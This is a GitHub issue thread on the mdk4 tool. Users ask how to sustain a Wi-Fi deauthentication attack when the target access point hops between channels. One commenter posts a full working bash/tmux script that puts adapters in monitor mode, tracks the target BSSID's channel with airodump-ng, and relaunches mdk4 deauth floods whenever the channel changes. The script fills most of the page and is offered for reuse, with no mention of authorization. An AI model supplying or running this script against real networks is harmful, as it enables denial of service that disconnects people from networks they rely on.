aircrack-ng / mdk4

MDK4
GNU General Public License v3.0
611 stars 110 forks source link

how to deauth a 5ghz wifi #46

Open jinglei207 opened 4 years ago

jinglei207 commented 4 years ago

This is my code mdk4 wlan0 d -c[36,56,100] -B xx:xx:xx:xx:xx. The problem is that it changes channel every 3 second (if I'm not wrong), even when the channel has stations to deauth. How to set it to hup only when the channel has no station to deauth. Thanks.

E7mer commented 4 years ago

The default is hopping every 3 second It can't do like you said now. Without hopping, only one channel can be set

jinglei207 commented 4 years ago

The default is hopping every 3 second It can't do like you said now. Without hopping, only one channel can be set

Is there any way to use an independent adapter to track the channel and the main adapter hops only when the channel changes.

zartaz commented 4 years ago

The default is hopping every 3 second It can't do like you said now. Without hopping, only one channel can be set

Is there any way to use an independent adapter to track the channel and the main adapter hops only when the channel changes.

@jinglei207 i have wrote a bash script not in very good format but it does exactly what you said, it hunts the channel of the bssid.one adapter is scanning for the bssid channel and if the channel changes it reruns the mdk4 in that channel without loosing time hopping in other channels, i will try to write it in python and c when i have more time https://github.com/zartaz/Mdk4_deauther/blob/master/zartdeauther.sh

usuarionuevor commented 3 years ago

The default is hopping every 3 second It can't do like you said now. Without hopping, only one channel can be set

Is there any way to use an independent adapter to track the channel and the main adapter hops only when the channel changes.

@jinglei207 i have wrote a bash script not in very good format but it does exactly what you said, it hunts the channel of the bssid.one adapter is scanning for the bssid channel and if the channel changes it reruns the mdk4 in that channel without loosing time hopping in other channels, i will try to write it in python and c when i have more time https://github.com/zartaz/Mdk4_deauther/blob/master/zartdeauther.sh

hi, the link is removed but lucky me I still have it and works beautyfully, is there an updated version? if not do you mind if I share the old one?

zartaz commented 3 years ago

i made it public again ,enjoy!

PoloB12 commented 1 year ago

I took the personal challenge to make my first tmux bash script from this ; you can put the code below in a file make it executable and run it with bash from within a blank tmux session. Then it will run also in a headless setup without x etc. in panes within your terminal window. You can add multiple macs just make sure they are on the same channel and broadcast the same name. If you need to deauth both 2.4ghz and 5ghz ap's then run a 2nd setup for the 5ghz channels and input all the 5ghz macs. (or maybe someone can upgrade the script to use a 3rd adapter and 2nd deauth tmux pane for 5ghz)

Credits to @zartaz for the original code

#!/bin/bash 
tmux select-pane -t 0 -T main
function yes_or_no {
    while true; do
        read -p "$* [y/n]: " yn
        case $yn in
            [Yy]*) return 0  ;;
            [Nn]*) echo "Aborted" ; return  1 ;;
        esac
    done
}
sudo rm -f *.csv target_aps.txt > /dev/null
tmux split-window -dv -l 20 'iwconfig ; read'
tmux select-pane -t 1 -T interface_selection
read -rp "WLAN interface airodump (for channel chasing): " airodump_interface
export airodump_interface="$airodump_interface"
read -rp "WLAN interface mdk (for deauthentication): " mdk_interface
export mdk_interface="$mdk_interface"
read -rp "ESSID (Wifi boradcast name) to look for: " essid
export essid="$essid"
tmux kill-pane -t 1
sudo airmon-ng check kill > /dev/null
sudo airmon-ng start "$airodump_interface" > /dev/null
sudo iwconfig "$mdk_interface" mode monitor
tmux split-window -dh -l 95 "sudo airodump-ng -w scan -b abg --essid '$essid' --output-format csv -M $airodump_interface ; read"
tmux select-pane -t 1 -T network_information_gathering
read -rp "BSSID (mac address) to deauth: " bssid_target && echo "$bssid_target" >> target_aps.txt
yes_or_no "Add another mac ?" && read -rp "BSSID (mac address) to deauth: " bssid_target && echo "$bssid_target" >> target_aps.txt
yes_or_no "Add another mac ?" && read -rp "BSSID (mac address) to deauth: " bssid_target && echo "$bssid_target" >> target_aps.txt
export bssid_target="$bssid_target"
echo "Waiting a few seconds for airodump to scan all channels for our essid.."
sleep 4 
mdk_channel=$(grep "$bssid_target" -m1 scan-01.csv | cut -d "," -f 4 | tr -d ' ')
export mdk_channel="$mdk_channel"
echo "The current channel for our target network is $mdk_channel !"
echo "Let's start deauthing and monitor channel changes !"
tmux split-window -v -l 20 "sudo mdk4 $mdk_interface d -b target_aps.txt -c $mdk_channel"
sleep 0.5
tmux select-pane -t 1 -T deauthentication
while true; do
       mdk_new_channel=$(grep "$bssid_target" -m1 scan-01.csv | cut -d "," -f 4 | tr -d ' ')
       export mdk_new_channel="$mdk_new_channel"
       sleep 0.3
       if [[ "${mdk_new_channel}" =~ ^([0-9]+)$ ]] && [ $mdk_new_channel -ne $mdk_channel ]
       then
               echo "Channel has changed from $mdk_channel to $mdk_new_channel !"
               echo "Restarting deauth on new channel !"
               mdk_channel="$mdk_new_channel"
               export mdk_channel="$mdk_new_channel"
               tmux kill-pane -t 1
               sleep 0.5 
               tmux split-window -v -l 20 "sudo mdk4 $mdk_interface d -b target_aps.txt -c $mdk_channel"
               sleep 0.5
               tmux select-pane -t 1 -T deauthentication
               sleep 0.3
       fi
done

preview